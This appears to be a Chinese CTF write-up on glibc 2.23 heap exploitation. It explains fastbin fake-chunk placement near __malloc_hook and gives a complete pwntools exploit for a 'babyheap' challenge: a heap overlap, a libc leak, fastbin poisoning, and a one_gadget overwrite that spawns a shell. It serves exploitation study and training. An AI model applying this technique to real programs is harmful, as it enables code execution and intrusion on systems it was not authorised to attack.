堆题的最后一步攻击手段, 有一个就是覆盖各种 hook, 其中就包括 __malloc_hook
. 如果我们无法控制程序恰好写入到此处, 但是可以修改 chunk 的 fd 或者 bk, 达到 尝试任意地址分配 的效果, 那么就可以尝试分配到 __malloc_hook
附近. 为什么这里说尝试呢? 因为在 malloc 在从 bins 中取 chunk 的时候, 都会对这个 chunk 的 size 进行检测. 所以, 我们需要分配到 __malloc_hook
之前, 恰好 size 位满足条件的地方. (Tcache 的话就不用了, 因为没有任何检测)
一般来说, 程序在初始化了堆以后, __malloc_hook
前面不远处会有 libc 的地址. 这取决于 libc bss 节上变量的分布. 举个例子, 在某版本的 glibc 初始化了堆后, __malloc_hook
附近如下图所示:
可以看到, 在 __malloc_hook
前 0x8, 0x10, 0x20 处, 都有 libc 的地址, 且前 0x18 处为 0.
这样, 我们在 前 0x23 处作为 chunk 的地址, 那么此时的 fake chunk 如下:
其中,
- presize 为 0x01c7f68260000000, 虽然一看就不合法, 但是在 malloc 的时候并没有检测, 所以没有关系.
- size 为 0x7f, 对其进行 chunksize 计算, 结果是 0x78, 在 fastbin 范围内.
所以, 这里应该看 fastbin 的 malloc 部分. 看看需要绕过什么, 或者还有什么其他细节.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
static void *
_int_malloc (mstate av, size_t bytes)
{
...
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
...
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
...
}
...
}
|
可以看到, 主要就是判断了一下 victim 计算出来的 fastbin_idx 是不是和当前 bin 的相等. 于是, 我们只能把这个 fake chunk 放到某个特定的 fastbin 中.
1
2
3
|
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
|
根据定义, fastbin_index(0x78) 算出来的值应该是 5, 即对应的 chunk size 为 0x70. 故只有把这个 fake chunk 放到 0x70 的 fastbin 中, 然后 malloc(0x60), 才能够分配成功.
分配成功后, 填充并覆盖掉 __malloc_hook
到 onegadget, 就实现了最后一步的攻击.
切勿思维定势, 覆盖 __malloc_hook
到其他代码段也是可以的, 具体得看程序如何利用. 这里仅仅是一次控制程序流的手段罢了, 只是绝大多数情况, 只要 onegadget 就可以 get shell.
前半段在这里
前面我们泄漏了 libc 的地址, 可以算出 __malloc_hook
的地址. 然后需要将一个 0x70 大小的 chunk 先 free 掉, 并通过溢出覆盖其 fd 到 __malloc_hook
附近的 fake chunk.
注意, 目前 fastbin 中没有 0x70 的 chunk, 所以会去看 unsortbin 部分. unsortbin 中只有一个 chunk, 且上一个释放的 chunk 就是它. 同时, 这个 chunk 的大小为 0x90, 能够切分成两个 chunk, 一个大小为 0x70, 另一个为 0x20. 根据机制, 我们这一次 malloc 得到的 chunk 会从这里分割, 此时, 之前造成的堆堆叠也同时存在. 也就是 chunk 2 也指向新分配的这个 chunk. 然后我们把新得到的这个 chunk free 掉. 此时, Fill 2 就能够修改其 fd 了. 将其修改到 __malloc_hook
附近的 fake chunk, 再 malloc 两个 0x70 的 chunk, 第二个就是 fake chunk 了. 最后覆盖 __malloc_hook
到 onegadget, 然后 Allocate 触发 malloc hook 即可.
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
procname = './babyheap'
io = process(procname)
# io = remote('node4.buuoj.cn', 29123)
elf = ELF(procname)
libc = ELF('/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc.so.6')
def n2b(x):
return str(x).encode()
def op(x):
io.sendlineafter(b'Command: ', n2b(x))
def Allocate(sz):
op(1)
io.sendlineafter(b'Size: ', n2b(sz))
def Fill(idx, content):
op(2)
io.sendlineafter(b'Index: ', n2b(idx))
io.sendlineafter(b'Size: ', n2b(len(content)))
io.sendafter(b'Content: ', content)
def Free(idx):
op(3)
io.sendlineafter(b'Index: ', n2b(idx))
def Dump(idx):
op(4)
io.sendlineafter(b'Index: ', n2b(idx))
io.recvuntil(b'Content: \n')
def main():
Allocate(0x10)
Allocate(0x10)
Allocate(0x10)
Allocate(0x10)
Allocate(0x80)
Allocate(0x10)
Free(2)
Free(1)
payload_overleap_fd = b'a' * 0x10 + p64(0) + p64(0x21) + b'\x80'
Fill(0, payload_overleap_fd)
payload_overleap_size = b'b' * 0x10 + p64(0) + p64(0x21)
Fill(3, payload_overleap_size)
Allocate(0x10)
Allocate(0x10) # 2 -> idx 4
payload_overleap_size = b'c' * 0x10 + p64(0) + p64(0x91)
Fill(3, payload_overleap_size)
Free(4)
Dump(2)
leak_unsort_bin = u64(io.recv(8))
success(f'leak unsort bin: {hex(leak_unsort_bin)}')
libc_base = leak_unsort_bin - 0x3C4B78
success(f'libc base: {hex(libc_base)}')
malloc_hook = libc_base + libc.sym['__malloc_hook']
success(f'malloc hook: {hex(malloc_hook)}')
pause()
fake_chunk_nearby_malloc_hook = malloc_hook - 0x10 - 0x03 - 0x10
success(f'fake chunk: {hex(fake_chunk_nearby_malloc_hook)}')
Allocate(0x60) # 4
Allocate(0x60) # 6
Free(6)
Free(4)
payload_fd_to_malloc_hook = p64(fake_chunk_nearby_malloc_hook)
Fill(2, payload_fd_to_malloc_hook)
Allocate(0x60) # 4
Allocate(0x60) # 6
onegadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
payload_malloc_hook_one_gadget = b'd' * 19 + p64(onegadget[1] + libc_base)
Fill(6, payload_malloc_hook_one_gadget)
Allocate(0x80)
io.interactive()
if __name__ == '__main__':
main()
|